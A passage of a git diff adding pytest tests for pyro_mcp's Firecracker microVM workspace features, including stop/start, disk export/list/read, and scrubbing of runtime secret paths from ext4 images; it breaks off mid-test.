workspace_help assert "pyro workspace diff WORKSPACE_ID" in workspace_help assert "pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt" in workspace_help + assert "pyro workspace stop WORKSPACE_ID" in workspace_help + assert "pyro workspace disk list WORKSPACE_ID" in workspace_help + assert "pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4" in workspace_help + assert "pyro workspace start WORKSPACE_ID" in workspace_help assert "pyro workspace snapshot create WORKSPACE_ID checkpoint" in workspace_help assert "pyro workspace reset WORKSPACE_ID --snapshot checkpoint" in workspace_help assert "pyro workspace shell open WORKSPACE_ID" in workspace_help @@ -112,6 +116,37 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "--output" in workspace_export_help assert "Export one file or directory from `/workspace`" in workspace_export_help + workspace_stop_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "stop" + ).format_help() + assert "Stop the backing sandbox" in workspace_stop_help + + workspace_start_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "start" + ).format_help() + assert "previously stopped workspace" in workspace_start_help + + workspace_disk_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "disk" + ).format_help() + assert "secondary stopped-workspace disk tools" in workspace_disk_help + assert "pyro workspace disk read WORKSPACE_ID note.txt" in workspace_disk_help + + workspace_disk_export_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "export" + ).format_help() + assert "--output" in workspace_disk_export_help + + workspace_disk_list_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "list" + ).format_help() + assert "--recursive" in workspace_disk_list_help + + workspace_disk_read_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "read" + ).format_help() + assert "--max-bytes" in workspace_disk_read_help + workspace_diff_help = _subparser_choice( _subparser_choice(parser, "workspace"), "diff" ).format_help() @@ -647,6 +682,193 @@ def test_cli_workspace_export_prints_human_output( assert "artifact_type=file" in output +def test_cli_workspace_stop_and_start_print_human_output( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def stop_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "environment": "debian:12", + "state": "stopped", + "workspace_path": "/workspace", + "network_policy": "off", + "execution_mode": "guest_vsock", + "vcpu_count": 1, + "mem_mib": 1024, + "command_count": 2, + "reset_count": 0, + "service_count": 0, + "running_service_count": 0, + } + + def start_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "environment": "debian:12", + "state": "started", + "workspace_path": "/workspace", + "network_policy": "off", + "execution_mode": "guest_vsock", + "vcpu_count": 1, + "mem_mib": 1024, + "command_count": 2, + "reset_count": 0, + "service_count": 0, + "running_service_count": 0, + } + + class StopParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="stop", + workspace_id="workspace-123", + json=False, + ) + + class StartParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="start", + workspace_id="workspace-123", + json=False, + ) + + monkeypatch.setattr(cli, "Pyro", StubPyro) + monkeypatch.setattr(cli, "_build_parser", lambda: StopParser()) + cli.main() + stopped_output = capsys.readouterr().out + assert "Stopped workspace ID: workspace-123" in stopped_output + + monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) + cli.main() + started_output = capsys.readouterr().out + assert "Started workspace ID: workspace-123" in started_output + + +def test_cli_workspace_disk_commands_print_human_and_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def export_workspace_disk( + self, + workspace_id: str, + *, + output_path: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert output_path == "./workspace.ext4" + return { + "workspace_id": workspace_id, + "output_path": "/tmp/workspace.ext4", + "disk_format": "ext4", + "bytes_written": 8192, + } + + def list_workspace_disk( + self, + workspace_id: str, + *, + path: str, + recursive: bool, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "/workspace" + assert recursive is True + return { + "workspace_id": workspace_id, + "path": path, + "recursive": recursive, + "entries": [ + { + "path": "/workspace/note.txt", + "artifact_type": "file", + "size_bytes": 6, + "link_target": None, + } + ], + } + + def read_workspace_disk( + self, + workspace_id: str, + path: str, + *, + max_bytes: int, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "note.txt" + assert max_bytes == 4096 + return { + "workspace_id": workspace_id, + "path": "/workspace/note.txt", + "size_bytes": 6, + "max_bytes": max_bytes, + "content": "hello\n", + "truncated": False, + } + + class ExportParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="disk", + workspace_disk_command="export", + workspace_id="workspace-123", + output="./workspace.ext4", + json=False, + ) + + class ListParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="disk", + workspace_disk_command="list", + workspace_id="workspace-123", + path="/workspace", + recursive=True, + json=False, + ) + + class ReadParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="disk", + workspace_disk_command="read", + workspace_id="workspace-123", + path="note.txt", + max_bytes=4096, + json=True, + ) + + monkeypatch.setattr(cli, "Pyro", StubPyro) + + monkeypatch.setattr(cli, "_build_parser", lambda: ExportParser()) + cli.main() + export_output = capsys.readouterr().out + assert "[workspace-disk-export] workspace_id=workspace-123" in export_output + + monkeypatch.setattr(cli, "_build_parser", lambda: ListParser()) + cli.main() + list_output = capsys.readouterr().out + assert "Workspace disk path: /workspace" in list_output + assert "/workspace/note.txt [file]" in list_output + + monkeypatch.setattr(cli, "_build_parser", lambda: ReadParser()) + cli.main() + read_payload = json.loads(capsys.readouterr().out) + assert read_payload["path"] == "/workspace/note.txt" + assert read_payload["content"] == "hello\n" + + def test_cli_workspace_diff_prints_human_output( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str], diff --git a/tests/test_doctor.py b/tests/test_doctor.py index 88ab026..9629771 100644 --- a/tests/test_doctor.py +++ b/tests/test_doctor.py @@ -6,6 +6,7 @@ import json import pytest import pyro_mcp.doctor as doctor_module +from pyro_mcp.runtime import DEFAULT_PLATFORM def test_doctor_main_prints_json( @@ -25,3 +26,9 @@ def test_doctor_main_prints_json( doctor_module.main() output = json.loads(capsys.readouterr().out) assert output["runtime_ok"] is True + + +def test_doctor_build_parser_defaults_platform() -> None: + parser = doctor_module._build_parser() + args = parser.parse_args([]) + assert args.platform == DEFAULT_PLATFORM diff --git a/tests/test_package_surface.py b/tests/test_package_surface.py new file mode 100644 index 0000000..533a87a --- /dev/null +++ b/tests/test_package_surface.py @@ -0,0 +1,67 @@ +from __future__ import annotations + +from importlib.metadata import PackageNotFoundError +from typing import Any, cast + +import pyro_mcp as package_module + + +def test_resolve_version_prefers_pyproject_version(monkeypatch: Any) -> None: + monkeypatch.setattr(package_module, "version", lambda _name: "9.9.9") + assert package_module._resolve_version() == package_module.__version__ # noqa: SLF001 + + +def test_resolve_version_falls_back_to_unknown_without_metadata(monkeypatch: Any) -> None: + class _FakePyprojectPath: + def exists(self) -> bool: + return False + + class _FakeResolvedPath: + @property + def parents(self) -> dict[int, Any]: + return {2: self} + + def __truediv__(self, _other: str) -> _FakePyprojectPath: + return _FakePyprojectPath() + + class _FakePathFactory: + def __init__(self, _value: str) -> None: + return None + + def resolve(self) -> _FakeResolvedPath: + return _FakeResolvedPath() + + monkeypatch.setattr( + package_module, + "version", + lambda _name: (_ for _ in ()).throw(PackageNotFoundError()), + ) + monkeypatch.setattr(package_module, "Path", cast(Any, _FakePathFactory)) + + assert package_module._resolve_version() == "0+unknown" # noqa: SLF001 + + +def test_resolve_version_falls_back_to_installed_version(monkeypatch: Any) -> None: + class _FakePyprojectPath: + def exists(self) -> bool: + return False + + class _FakeResolvedPath: + @property + def parents(self) -> dict[int, Any]: + return {2: self} + + def __truediv__(self, _other: str) -> _FakePyprojectPath: + return _FakePyprojectPath() + + class _FakePathFactory: + def __init__(self, _value: str) -> None: + return None + + def resolve(self) -> _FakeResolvedPath: + return _FakeResolvedPath() + + monkeypatch.setattr(package_module, "version", lambda _name: "9.9.9") + monkeypatch.setattr(package_module, "Path", cast(Any, _FakePathFactory)) + + assert package_module._resolve_version() == "9.9.9" # noqa: SLF001 diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index 6f22889..ab5ad98 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -19,6 +19,9 @@ from pyro_mcp.contract import ( PUBLIC_CLI_RUN_FLAGS, PUBLIC_CLI_WORKSPACE_CREATE_FLAGS, PUBLIC_CLI_WORKSPACE_DIFF_FLAGS, + PUBLIC_CLI_WORKSPACE_DISK_EXPORT_FLAGS, + PUBLIC_CLI_WORKSPACE_DISK_LIST_FLAGS, + PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS, PUBLIC_CLI_WORKSPACE_EXEC_FLAGS, PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS, PUBLIC_CLI_WORKSPACE_RESET_FLAGS, @@ -38,6 +41,8 @@ from pyro_mcp.contract import ( PUBLIC_CLI_WORKSPACE_SNAPSHOT_DELETE_FLAGS, PUBLIC_CLI_WORKSPACE_SNAPSHOT_LIST_FLAGS, PUBLIC_CLI_WORKSPACE_SNAPSHOT_SUBCOMMANDS, + PUBLIC_CLI_WORKSPACE_START_FLAGS, + PUBLIC_CLI_WORKSPACE_STOP_FLAGS, PUBLIC_CLI_WORKSPACE_SUBCOMMANDS, PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS, PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS, @@ -116,6 +121,26 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: ).format_help() for flag in PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS: assert flag in workspace_export_help_text + workspace_disk_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "disk" + ).format_help() + for subcommand_name in ("export", "list", "read"): + assert subcommand_name in workspace_disk_help_text + workspace_disk_export_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "export" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_DISK_EXPORT_FLAGS: + assert flag in workspace_disk_export_help_text + workspace_disk_list_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "list" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_DISK_LIST_FLAGS: + assert flag in workspace_disk_list_help_text + workspace_disk_read_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "read" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS: + assert flag in workspace_disk_read_help_text workspace_diff_help_text = _subparser_choice( _subparser_choice(parser, "workspace"), "diff" ).format_help() @@ -150,6 +175,16 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: ).format_help() for flag in PUBLIC_CLI_WORKSPACE_RESET_FLAGS: assert flag in workspace_reset_help_text + workspace_start_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "start" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_START_FLAGS: + assert flag in workspace_start_help_text + workspace_stop_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "stop" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_STOP_FLAGS: + assert flag in workspace_stop_help_text workspace_shell_help_text = _subparser_choice( _subparser_choice(parser, "workspace"), "shell", diff --git a/tests/test_runtime_boot_check.py b/tests/test_runtime_boot_check.py index 0733e0a..6e55134 100644 --- a/tests/test_runtime_boot_check.py +++ b/tests/test_runtime_boot_check.py @@ -1,6 +1,8 @@ from __future__ import annotations -from pyro_mcp.runtime_boot_check import _classify_result +import pytest + +from pyro_mcp.runtime_boot_check import _classify_result, run_boot_check def test_classify_result_reports_kernel_panic() -> None: @@ -19,3 +21,32 @@ def test_classify_result_reports_success_when_vm_stays_alive() -> None: vm_alive=True, ) assert reason is None + + +def test_classify_result_reports_logger_failure_and_early_exit() -> None: + logger_reason = _classify_result( + firecracker_log="Successfully started microvm", + serial_log="Could not initialize logger", + vm_alive=False, + ) + early_exit_reason = _classify_result( + firecracker_log="partial log", + serial_log="boot log", + vm_alive=False, + ) + assert logger_reason == "firecracker logger initialization failed" + assert early_exit_reason == "firecracker did not fully start the microVM" + + +def test_classify_result_reports_boot_window_exit_after_start() -> None: + reason = _classify_result( + firecracker_log="Successfully started microvm", + serial_log="boot log", + vm_alive=False, + ) + assert reason == "microVM exited before boot validation window elapsed" + + +def test_run_boot_check_requires_positive_wait_seconds() -> None: + with pytest.raises(ValueError, match="wait_seconds must be positive"): + run_boot_check(wait_seconds=0) diff --git a/tests/test_server.py b/tests/test_server.py index f9eac6d..5cfa044 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -32,8 +32,13 @@ def test_create_server_registers_vm_tools(tmp_path: Path) -> None: assert "vm_run" in tool_names assert "vm_status" in tool_names assert "workspace_create" in tool_names + assert "workspace_start" in tool_names + assert "workspace_stop" in tool_names assert "workspace_diff" in tool_names assert "workspace_export" in tool_names + assert "workspace_disk_export" in tool_names + assert "workspace_disk_list" in tool_names + assert "workspace_disk_read" in tool_names assert "workspace_logs" in tool_names assert "workspace_sync_push" in tool_names assert "shell_open" in tool_names diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index 8e31754..0613806 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -18,6 +18,55 @@ from pyro_mcp.vm_manager import VmManager from pyro_mcp.vm_network import NetworkConfig, TapNetworkManager +def _run_debugfs_write(rootfs_image: Path, command: str) -> None: + proc = subprocess.run( # noqa: S603 + ["debugfs", "-w", "-R", command, str(rootfs_image)], + text=True, + capture_output=True, + check=False, + ) + if proc.returncode != 0: + message = proc.stderr.strip() or proc.stdout.strip() or command + raise RuntimeError(message) + + +def _create_stopped_workspace_rootfs(tmp_path: Path) -> Path: + rootfs_image = tmp_path / "workspace-rootfs.ext4" + with rootfs_image.open("wb") as handle: + handle.truncate(16 * 1024 * 1024) + proc = subprocess.run( # noqa: S603 + ["mkfs.ext4", "-F", str(rootfs_image)], + text=True, + capture_output=True, + check=False, + ) + if proc.returncode != 0: + message = proc.stderr.strip() or proc.stdout.strip() or "mkfs.ext4 failed" + raise RuntimeError(message) + for directory in ( + "/workspace", + "/workspace/src", + "/run", + "/run/pyro-secrets", + "/run/pyro-services", + ): + _run_debugfs_write(rootfs_image, f"mkdir {directory}") + note_path = tmp_path / "note.txt" + note_path.write_text("hello from disk\n", encoding="utf-8") + child_path = tmp_path / "child.txt" + child_path.write_text("nested child\n", encoding="utf-8") + secret_path = tmp_path / "secret.txt" + secret_path.write_text("super-secret\n", encoding="utf-8") + service_path = tmp_path / "service.log" + service_path.write_text("service runtime\n", encoding="utf-8") + _run_debugfs_write(rootfs_image, f"write {note_path} /workspace/note.txt") + _run_debugfs_write(rootfs_image, f"write {child_path} /workspace/src/child.txt") + _run_debugfs_write(rootfs_image, "symlink /workspace/link note.txt") + _run_debugfs_write(rootfs_image, f"write {secret_path} /run/pyro-secrets/TOKEN") + _run_debugfs_write(rootfs_image, f"write {service_path} /run/pyro-services/app.log") + return rootfs_image + + def test_vm_manager_lifecycle_and_auto_cleanup(tmp_path: Path) -> None: manager = VmManager( backend_name="mock", @@ -1129,6 +1178,80 @@ def test_vm_manager_firecracker_backend_path( assert manager._backend_name == "firecracker" # noqa: SLF001 +def test_firecracker_backend_start_removes_stale_socket_files( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + backend = cast(Any, object.__new__(vm_manager_module.FirecrackerBackend)) + backend._environment_store = object() # noqa: SLF001 + backend._firecracker_bin = tmp_path / "firecracker" # noqa: SLF001 + backend._jailer_bin = tmp_path / "jailer" # noqa: SLF001 + backend._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=False, + reason=None, + ) + backend._network_manager = TapNetworkManager(enabled=False) # noqa: SLF001 + backend._guest_exec_client = None # noqa: SLF001 + backend._processes = {} # noqa: SLF001 + + backend._firecracker_bin.write_text("fc", encoding="utf-8") # noqa: SLF001 + backend._jailer_bin.write_text("jailer", encoding="utf-8") # noqa: SLF001 + kernel_image = tmp_path / "vmlinux" + kernel_image.write_text("kernel", encoding="utf-8") + rootfs_image = tmp_path / "rootfs.ext4" + rootfs_image.write_bytes(b"rootfs") + + workdir = tmp_path / "runtime" + workdir.mkdir() + firecracker_socket = workdir / "firecracker.sock" + vsock_socket = workdir / "vsock.sock" + firecracker_socket.write_text("stale firecracker socket", encoding="utf-8") + vsock_socket.write_text("stale vsock socket", encoding="utf-8") + + class DummyPopen: + def __init__(self, *args: Any, **kwargs: Any) -> None: + del args, kwargs + self.pid = 4242 + + def poll(self) -> None: + return None + + monkeypatch.setattr( + cast(Any, vm_manager_module).subprocess, + "run", + lambda *args, **kwargs: subprocess.CompletedProcess( # noqa: ARG005 + args=args[0], + returncode=0, + stdout="Firecracker v1.0.0\n", + stderr="", + ), + ) + monkeypatch.setattr(cast(Any, vm_manager_module).subprocess, "Popen", DummyPopen) + + instance = vm_manager_module.VmInstance( + vm_id="abcd1234", + environment="debian:12", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + created_at=time.time(), + expires_at=time.time() + 600, + workdir=workdir, + metadata={ + "kernel_image": str(kernel_image), + "rootfs_image": str(rootfs_image), + }, + ) + + backend.start(instance) + + assert instance.firecracker_pid == 4242 + assert not firecracker_socket.exists() + assert not vsock_socket.exists() + + def test_vm_manager_fails_closed_without_host_compat_opt_in(tmp_path: Path) -> None: manager = VmManager( backend_name="mock", @@ -2691,3 +2814,181 @@ def test_workspace_secrets_require_guest_exec_on_firecracker_runtime( allow_host_compat=True, secrets=[{"name": "TOKEN", "value": "expected"}], ) + + +def test_workspace_stop_and_start_preserve_logs_and_clear_live_state(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + seed_dir = tmp_path / "seed" + seed_dir.mkdir() + (seed_dir / "note.txt").write_text("hello from seed\n", encoding="utf-8") + + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + ) + workspace_id = str(created["workspace_id"]) + manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) + shell = manager.open_shell(workspace_id) + shell_id = str(shell["shell_id"]) + started_service = manager.start_service( + workspace_id, + "app", + command='sh -lc \'touch .ready && trap "exit 0" TERM; while true; do sleep 60; done\'', + readiness={"type": "file", "path": ".ready"}, + ) + assert started_service["state"] == "running" + + stopped = manager.stop_workspace(workspace_id) + assert stopped["state"] == "stopped" + assert stopped["command_count"] == 1 + assert stopped["service_count"] == 0 + assert stopped["running_service_count"] == 0 + assert manager.logs_workspace(workspace_id)["count"] == 1 + with pytest.raises(RuntimeError, match="must be in 'started' state"): + manager.read_shell(workspace_id, shell_id, cursor=0, max_chars=1024) + + restarted = manager.start_workspace(workspace_id) + assert restarted["state"] == "started" + assert restarted["command_count"] == 1 + assert restarted["service_count"] == 0 + rerun = manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) + assert rerun["stdout"] == "hello from seed\n" + + +def test_workspace_stop_flushes_guest_filesystem_before_stopping( + tmp_path: Path, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + payload["state"] = "started" + payload["firecracker_pid"] = os.getpid() + payload["metadata"]["execution_mode"] = "guest_vsock" + payload["metadata"]["rootfs_image"] = str(_create_stopped_workspace_rootfs(tmp_path)) + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + calls: list[tuple[str, str]] = [] + + class StubBackend: + def exec( + self, + instance: Any, + command: str, + timeout_seconds: int, + *, + workdir: Path | None = None, + env: dict[str, str] | None = None, + ) -> vm_manager_module.VmExecResult: + del instance, timeout_seconds, workdir, env + calls.append(("exec", command)) + return vm_manager_module.VmExecResult( + stdout="", + stderr="", + exit_code=0, + duration_ms=1, + ) + + def stop(self, instance: Any) -> None: + del instance + calls.append(("stop", "instance")) + + manager._backend = StubBackend() # type: ignore[assignment] # noqa: SLF001 + manager._backend_name = "firecracker" # noqa: SLF001 + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=False, + reason=None, + ) + + stopped = manager.stop_workspace(workspace_id) + + assert calls == [("exec", "sync"), ("stop", "instance")] + assert stopped["state"] == "stopped" + + +def test_workspace_disk_operations_scrub_runtime_only_paths_and_export( + tmp_path: Path, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + rootfs_image = _create_stopped_workspace_rootfs(tmp_path) + workspace_id = "workspace-disk-123" + workspace = vm_manager_module.WorkspaceRecord( + workspace_id=workspace_id, + environment="debian:12-base", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + created_at=time.time(), + expires_at=time.time() + 600, + state="stopped", + network_policy="off", + allow_host_compat=False, + metadata={ + "execution_mode": "guest_vsock", + "rootfs_image": str(rootfs_image), + "workspace_path": "/workspace", + }, + ) + manager._save_workspace_locked(workspace) # noqa: SLF001 + + listed = manager.list_workspace_disk(workspace_id, path="/workspace", recursive=True) + assert listed["path"] == "/workspace" + listed_paths = {entry["path"] for entry in listed["entries"]} + assert "/workspace/note.txt" in listed_paths + assert "/workspace/src/child.txt" in listed_paths + assert "/workspace/link" in listed_paths + + read_payload = manager.read_workspace_disk(workspace_id, path="note.txt", max_bytes=4096) + assert read_payload["content"] == "hello from disk\n" + assert read_payload["truncated"] is False + + run_listing = manager.list_workspace_disk(workspace_id, path="/run", recursive=True) + run_paths = {entry["path"] for entry in run_listing["entries"]} + assert "/run/pyro-secrets" not in run_paths + assert "/run/pyro-services" not in run_paths + + exported_path = tmp_path / "workspace-copy.ext4" + exported = manager.export_workspace_disk(workspace_id, output_path=exported_path) + assert exported["disk_format"] == "ext4" + assert exported_path.exists() + assert exported_path.stat().st_size == int(exported["bytes_written"]) + + +def test_workspace_disk_operations_reject_host_compat_workspaces(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + manager.stop_workspace(workspace_id) + + with pytest.raises(RuntimeError, match="host_compat workspaces"): + manager.export_workspace_disk(workspace_id, output_path=tmp_path / "workspace.ext4") + with pytest.raises(RuntimeError, match="host_compat workspaces"): + manager.list_workspace_disk(workspace_id) + with pytest.raises(RuntimeError, match="host_compat workspaces"): + manager.read_workspace_disk(workspace_id, path="note.txt") diff --git a/tests/test_workspace_disk.py b/tests/test_workspace_disk.py new file mode 100644 index 0000000..6f1e3de --- /dev/null +++ b/tests/test_workspace_disk.py @@ -0,0 +1,258 @@ +from __future__ import annotations + +import subprocess +from pathlib import Path +from types import SimpleNamespace +from typing import Any, cast + +import pytest + +import pyro_mcp.workspace_disk as workspace_disk_module +from pyro_mcp.workspace_disk import ( + _artifact_type_from_mode, + _debugfs_ls_entries, + _debugfs_stat, + _run_debugfs, + export_workspace_disk_image, + list_workspace_disk, + read_workspace_disk_file, + scrub_workspace_runtime_paths, +) + + +def _run_debugfs_write(rootfs_image: Path, command: str) -> None: + proc = subprocess.run( # noqa: S603 + ["debugfs", "-w", "-R", command, str(rootfs_image)], + text=True, + capture_output=True, + check=False, + ) + if proc.returncode != 0: + message = proc.stderr.strip() or proc.stdout.strip() or command + raise RuntimeError(message) + + +def _create_rootfs_image(tmp_path: Path) -> Path: + rootfs_image = tmp_path / "workspace-rootfs.ext4" + with rootfs_image.open("wb") as handle: + handle.truncate(16 * 1024 * 1024) + proc = subprocess.run( # noqa: S603 + ["mkfs.ext4", "-F", str(rootfs_image)], + text=True, + capture_output=True, + check=False, + ) + if proc.returncode != 0: + message = proc.stderr.strip() or proc.stdout.strip() or "mkfs.ext4 failed" + raise RuntimeError(message) + for directory in ( + "/workspace", + "/workspace/src", + "/run", + "/run/pyro-secrets", + "/run/pyro-services", + ): + _run_debugfs_write(rootfs_image, f"mkdir {directory}") + note_path = tmp_path / "note.txt" + note_path.write_text("hello from disk\n", encoding="utf-8") + child_path = tmp_path / "child.txt" + child_path.write_text("nested child\n", encoding="utf-8") + secret_path = tmp_path / "secret.txt" + secret_path.write_text("super-secret\n", encoding="utf-8") + service_path = tmp_path / "service.log" + service_path.write_text("service runtime\n", encoding="utf-8") + _run_debugfs_write(rootfs_image, f"write {note_path} /workspace/note.txt") + _run_debugfs_write(rootfs_image, f"write {child_path} /workspace/src/child.txt") + _run_debugfs_write(rootfs_image, "symlink /workspace/link note.txt") + _run_debugfs_write(rootfs_image, f"write {secret_path} /run/pyro-secrets/TOKEN") + _run_debugfs_write(rootfs_image, f"write {service_path} /run/pyro-services/app.log") + return rootfs_image + + +def test_workspace_disk_list_read_export_and_scrub(tmp_path: Path) -> None: + rootfs_image = _create_rootfs_image(tmp_path) + + listing = list_workspace_disk(rootfs_image, guest_path="/workspace", recursive=True) + assert listing == [ + { + "path": "/workspace/link", + "artifact_type": "symlink", + "size_bytes": 8, + "link_target": "note.txt", + }, + { + "path": "/workspace/note.txt", + "artifact_type": "file", + "size_bytes": 16, + "link_target": None, + }, + { + "path": "/workspace/src", + "artifact_type": "directory", + "size_bytes": 0, + "link_target": None, + }, + { + "path": "/workspace/src/child.txt", + "artifact_type": "file", + "size_bytes": 13, + "link_target": None, + }, + ] + + single = list_workspace_disk(rootfs_image, guest_path="/workspace/note.txt", recursive=False) + assert single == [ + { + "path": "/workspace/note.txt", + "artifact_type": "file", + "size_bytes": 16, + "link_target": None, + } + ] + + read_payload = read_workspace_disk_file( + rootfs_image, + guest_path="/workspace/note.txt", + max_bytes=5, + ) + assert read_payload == { + "path": "/workspace/note.txt", + "size_bytes": 16, + "max_bytes": 5, + "content": "hello", + "truncated": True, + } + + output_path = tmp_path / "workspace.ext4" + exported = export_workspace_disk_image(rootfs_image, output_path=output_path) + assert exported["output_path"] == str(output_path) + assert exported["disk_format"] == "ext4" + assert int(exported["bytes_written"]) == output_path.stat().st_size + + scrub_workspace_runtime_paths(rootfs_image) + run_listing = list_workspace_disk(rootfs_image, guest_path="/run", recursive=True) + assert run_listing == [] + + +def test_workspace_disk_rejects_invalid_inputs(tmp_path: Path) -> None: + rootfs_image = _create_rootfs_image(tmp_path) + + with pytest.raises(RuntimeError, match="workspace disk path does not exist"): + list_workspace_disk(rootfs_image, guest_path="/missing", recursive=False) + + with pytest.raises(RuntimeError, match="workspace disk path does not exist"): + read_workspace_disk_file( + rootfs_image, + guest_path="/missing.txt", + max_bytes=4096, + ) + + with pytest.raises(RuntimeError, match="regular files"): + read_workspace_disk_file( + rootfs_image, + guest_path="/workspace/src", + max_bytes=4096, + ) + + with pytest.raises(ValueError, match="max_bytes must be positive"): + read_workspace_disk_file( + rootfs_image, + guest_path="/workspace/note.txt", + max_bytes=0, + ) + + output_path = tmp_path / "existing.ext4" + output_path.write_text("present\n", encoding="utf-8") + with pytest.raises(RuntimeError, match="output_path already exists"): + export_workspace_disk_image(rootfs_image, output_path=output_path) + + +def test_workspace_disk_internal_error_paths( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + rootfs_image = tmp_path / "dummy.ext4" + rootfs_image.write_bytes(b"rootfs") + + monkeypatch.setattr(cast(Any, workspace_disk_module).shutil, "which", lambda _name: None) + with pytest.raises(RuntimeError, match="debugfs is required"): + _run_debugfs(rootfs_image, "stat /workspace") + + monkeypatch.setattr( + cast(Any, workspace_disk_module).shutil, + "which", + lambda _name: "/usr/bin/debugfs", + ) + monkeypatch.setattr( + cast(Any, workspace_disk_module).subprocess, + "run", + lambda *args, **kwargs: SimpleNamespace( # noqa: ARG005 + returncode=1, + stdout="", + stderr="", + ), + ) + with pytest.raises(RuntimeError, match="debugfs command failed: stat /workspace"): + _run_debugfs(rootfs_image, "stat /workspace") + + assert _artifact_type_from_mode("00000") is None + + monkeypatch.setattr(workspace_disk_module, "_run_debugfs", lambda *_args, **_kwargs: "noise") + with pytest.raises(RuntimeError, match="failed to inspect workspace disk path"): + _debugfs_stat(rootfs_image, "/workspace/bad") + + monkeypatch.setattr( + workspace_disk_module, + "_run_debugfs", + lambda *_args, **_kwargs: "Type: fifo\nSize: 1\n", + ) + with pytest.raises(RuntimeError, match="unsupported workspace disk path type"): + _debugfs_stat(rootfs_image, "/workspace/fifo") + + monkeypatch.setattr( + workspace_disk_module, + "_run_debugfs", + lambda *_args, **_kwargs: "File not found by ext2_lookup", + ) + with pytest.raises(RuntimeError, match="workspace disk path does not exist"): + _debugfs_ls_entries(rootfs_image, "/workspace/missing") + + monkeypatch.setattr( + workspace_disk_module, + "_debugfs_stat", + lambda *_args, **_kwargs: workspace_disk_module._DebugfsStat( # noqa: SLF001 + path="/workspace", + artifact_type="directory", + size_bytes=0, + ), + ) + monkeypatch.setattr( + workspace_disk_module, + "_debugfs_ls_entries", + lambda *_args, **_kwargs: [ + workspace_disk_module._DebugfsDirEntry( # noqa: SLF001 + name="special", + 